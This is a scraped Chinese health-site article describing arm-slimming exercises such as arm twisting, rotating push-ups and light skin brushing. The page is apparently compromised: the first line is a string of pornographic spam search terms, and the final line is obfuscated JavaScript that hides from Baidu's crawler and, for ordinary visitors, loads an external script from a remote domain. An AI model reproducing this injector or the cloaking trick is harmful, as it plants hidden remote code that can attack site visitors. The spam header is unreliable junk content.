亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

怎樣運動減胳膊

2017-04-21 23:57:02  來源:360常識網(wǎng)   熱度:
導(dǎo)語:很多女性存在一個誤區(qū),就是認為身材美不美,關(guān)鍵取決于s曲線。其實這個想法不完全正確,我們的身材美不美,除了s型曲線之外,手臂胖瘦與否

很多女性存在一個誤區(qū),就是認為身材美不美,關(guān)鍵取決于s曲線。其實這個想法不完全正確,我們的身材美不美,除了s型曲線之外,手臂胖瘦與否也至關(guān)重要。有的女性朋友中年之后,胳膊變粗,即便身材再怎么具有s曲線,可看起來總給人一種不美觀的感覺。如果胳膊過于粗壯,可以通過下面介紹的方法來塑形瘦身。

雙臂纏繞,雙臂纏繞可以從整體上減雙臂的贅肉,用力鍛煉上下臂才是最正確的方法。伸出雙手,固定一只手,另一只手進行扭轉(zhuǎn)纏繞,盡量做到自己的極限。堅持這個動作1分鐘,然后放松10秒,再換手重復(fù)動作。每天練習(xí)15次。

轉(zhuǎn)體俯臥撐,雙手支撐面向地板俯臥,保持在俯臥撐身體撐起的姿勢,后背挺直。身體向右側(cè)轉(zhuǎn)動,一足微微在前,此時你的大腿是緊貼在一起的,整個身體的重量由右臂支撐,舉起左臂,頭也向左臂方向擺動。這個姿勢保持三秒鐘就可以回到開始的位置,然后將身體向另一側(cè)轉(zhuǎn)動,反復(fù)做這個動作。

輕擦皮膚,左手抓著右手,右手抓著左手,自上而下地輕輕摩擦皮膚,不可以來回的摩擦,一定要自上而下,重復(fù)摩擦10次左右。摩擦的時候不要太用力哦。這樣可以促進手臂淋巴的循環(huán),改善手臂水腫。

上面介紹的只是無器械瘦胳膊的鍛煉方法,其實還可以借助器械來搬到。比如說選擇我?guī)妥笥业膯♀?,或者是選擇五方左右的礦泉水瓶替代啞鈴,鍛煉的時候可以雙臂提起啞鈴上抬,保持5分鐘左右,或者當感覺手臂發(fā)酸的時候,緩慢放下,再重復(fù)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}